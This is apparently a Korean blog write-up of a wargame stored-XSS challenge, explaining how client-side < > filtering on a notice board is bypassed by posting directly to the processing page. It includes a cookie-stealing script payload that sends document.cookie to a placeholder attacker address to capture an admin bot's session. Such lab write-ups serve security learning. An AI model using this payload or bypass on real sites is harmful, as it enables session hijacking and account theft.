본문 바로가기

WarGame/SegFault

XSS 5

문제 정보

1. XSS 포인트

xss_6/notice_list .php

제공된 호스트 접속 시, "xss_6/notice_list.php" 경로에서

Stored XSS 공격이 발생할 수 있는 공지사항 게시판 페이지를 확인할 수 있다.

스크립트 작성 경로 : /xss_6/notice_write_process.php
write.php 파라미터 : create_title, create_body

스크립트 실행 경로 : /xss_6/notice_read.php
read.php 파라미터 : id, view

스크립트가 작성될 수 있는 게시글 작성 페이지와 파라미터,

스크립트가 실행될 수 있는 게시글 읽기 페이지를 확인할 수 있었다.

(* Stored XSS 포인트 확인)

2. 특수문자 필터링 확인하기

/xss_6/notice_write.php

"/xss_6/notice_write.php" 페이지를 통해 글을 작성해 보니,

요청에 대한 응답으로 

본문에 입력한 텍스트 데이터에 해당하는 create_body 파라미터 데이터 중

<, > 문자에 대해 필터링한 HTML 엔티티 값으로 변환하여 보내주고 있다.

"/xss_6/notice_write.php" 페이지에서 <, > 문자가 필터링된 본문의 데이터를

실질적으로 게시글을 작성하는 "/xss_6/notice_write_process.php" 페이지에 요청하는 모습을 볼 수 있다.

작성된 글을 가져오는 "/xss_6/notice_read.php" 페이지에서

제목과 본문에 해당하는 값을 확인하면

<, > 문자가 필터링돼 있는 것을 확인할 수 있다.

"/xss_6/notice_write.php" 페이지의 <, > 문자 필터링을 우회하기 위해서

실질적으로 글을 작성하는 "/xss_6/notice_write_process.php" 페이지에 직접 <, > 문자가 들어간 내용을 요청했다.

"/xss_6/notice_read.php" 페이지를 통해 작성된 글을 확인해 보니,

본문 데이터가 전송되는 "create_body" 파라미터 값은

모든 특수문자가 사용 가능한 것을 확인할 수 있다.

더보기

Burp Suite의 intercept 기능을 이용하여

"/xss_6/notice_write.php" 페이지의 <, > 문자를 필터링하는 스크립트 부분을

응답 변조를 통해 우회할 수도 있다.

3. 스크립트 삽입

"/xss_6/notice_write_process.php" 페이지를 이용하여

"create_body" 파라미터에 POC 스크립트를 작성했다.

"/xss_6/notice_read.php" 페이지를 통해 작성한 글을 확인해 보면

스크립트가 삽입된 것을 볼 수 있다.

POC 스크립트가 삽입된 게시글에 접근해 보면

악성 스크립트로 대변된 POC 코드가 동작하는 것을 볼 수 있다.

4. 예상 피해

  • 사용자 쿠키 탈취 : document.cookie
  • 사용자 개인정보 탈취 : keylogger
  • 악성코드 다운 & 실행
  • 피싱 사이트 강제 이동 : location.href

만약 공격자가 POC 코드 대신 위와 같은 악성 스크립트를 작성한다면

일반 사용자들이 해당 게시글을 읽을 때,

공격 스크립트가 사용자의 웹 브라우저에서 동작해

피해가 발생할 것으로 보인다.

5. 쿠키 탈취

<script>var i = new Image(); i.src = "공격자 주소/?cookie="+document.cookie;</script>

쿠키를 탈취하는 스크립트를 작성한 뒤,

<, > 문자 필터링을 우회할 수 있는

/xss_6/notice_write_process.php" 페이지를 이용해

본문에 삽입하여 게시글을 작성했다.

작성된 게시글에 접근 시,

공격자의 서버에서 접근한 사용자의 세션 ID를 확인할 수 있었다.

쿠키 탈취 스크립트가 삽입된 게시글의 주소를

관리자 봇이 접근할 수 있도록 전달해 보니,

공격자의 서버에서

피해자인 관리자의 세션 ID

즉, FLAG를 얻을 수 있었다.

'WarGame > SegFault' 카테고리의 다른 글

XSS Challenge  (1) 2024.06.24
XSS 6  (0) 2024.06.17
XSS 4  (0) 2024.06.14
XSS 3  (1) 2024.06.14
XSS 2  (0) 2024.06.14